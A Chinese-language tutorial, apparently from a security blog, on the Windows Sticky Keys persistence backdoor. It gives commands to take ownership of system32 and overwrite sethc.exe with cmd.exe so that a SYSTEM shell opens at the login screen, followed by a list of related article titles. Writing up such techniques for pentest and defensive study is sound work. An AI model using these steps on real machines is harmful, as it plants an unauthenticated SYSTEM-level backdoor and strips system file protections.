操作系统权限维持(一)之Windows系统-粘贴键后门
2023-09-14 09:16:26 时间
前言
在获取服务器权限后,为了防止服务器管理员发现和修补漏洞而导致对服务器权限的丢失,测试人员往往需要采取一些手段来实现对目标服务器的持久化访问。
权限持久化(权限维持)技术就是包括任何可以被测试人员用来在系统重启、更改用凭据或其他可能造成访问中断的情况发生时保持对系统的访问技术。
Web入侵流程
粘贴键后门
粘滞键概念
粘滞键漏洞,在Windows系统下连续按5下SHIFT键,可以启动系统的粘滞键功能,其进程名为Sethc.exe,应用程序在Windows\system32下
粘贴键后门原理
通过将其它应用程序(如:cmd.exe、 或木马、病毒)将Sethc.exe这个可执行程序进行替换。当再次连续按5次SHIFT键,就会以system权限运行替换后的应用程序
粘贴键后门演示
1、复制cmd.exe为sethc.exe
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
当我们去修改粘贴键作为后门时,Windows系统会以权限不够为由拒绝我们的操作,这时就需要我们去修改文件命令
2、需要更改文件权限,如下命令
takeown /f c:\windows\system32\*.* /a /r /d y
cacls c:\windows\system32\*.* /T /E /G administrators:F
两条命令均可
3、在命令运行完后,在执行第一条命令
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
这时我们的权限是够的
4、现在我们连按shift键五下后将弹出一个system权限的cmd窗口,作为后门
相关文章
- windows 快速设置环境变量工具 Rapid Environment Editor
- ASP .NET CORE MVC 部署Windows 系统上 IIS具体步骤---.Net Core 部署到 IIS位系统中的步骤
- Apache2.2.8、php5.2.6、mysql5、phpMyAdmin2.11.6在Windows Vista下的安装和配置
- MFC Windows 程序设计[二十]之绘图属性页
- [FE] nvm-windows: Microsoft/NPM/Google 推荐 Windows 的 Node.js 版本管理器
- 如何给windows 98虚拟机安装声卡驱动 - PCI Multimedia Audio Device
- windows系统上openssh client的离线安装
- Sql Server连接数据库(Windows模式及不用密码及用户名模式)
- Atitit webdav 的问题 -------------大文件传输问题 在某些版本的 Windows 操作系统中,WebDAV 驱动器的最大文件大小被限制为 50MB。如果你试图复制超过 5
- python windows安装 SQLServer pymssql,
- android windows 上JNI编程
- Windows Server 2016 下执行定时任务(英文系统)
- 不改动当前账户密码的情况下,启用其他账户登录windows系统
- VC++如何通过代码自动弹出Windows系统的一些窗口(附源码)
- Windows命令行使用FTP——windows下自带ftp命令
- 常见的windows下无文件落地攻击手法——主要讨论了powershell脚本、HTA是HTML Application的缩写(HTML应用程序)、xml中利用COM组件、certutil下载然后调用Dcom组件执行恶意代码、msxsl.exe是微软用于命令行下处理XSL的可以执行JavaScript执行系统命令
- windows mysql 启动 发生系统错误5
- mac访问windows共享文件夹 抖动
- 操作系统权限维持(二)之Windows系统-克隆账号维持后门
- 操作系统权限提升(三)之Windows系统内核溢出漏洞提权
- 关于免密windows系统自带远程桌面登录,避免总是弹出无法识别此远程连接的发布者...对话框解决方法。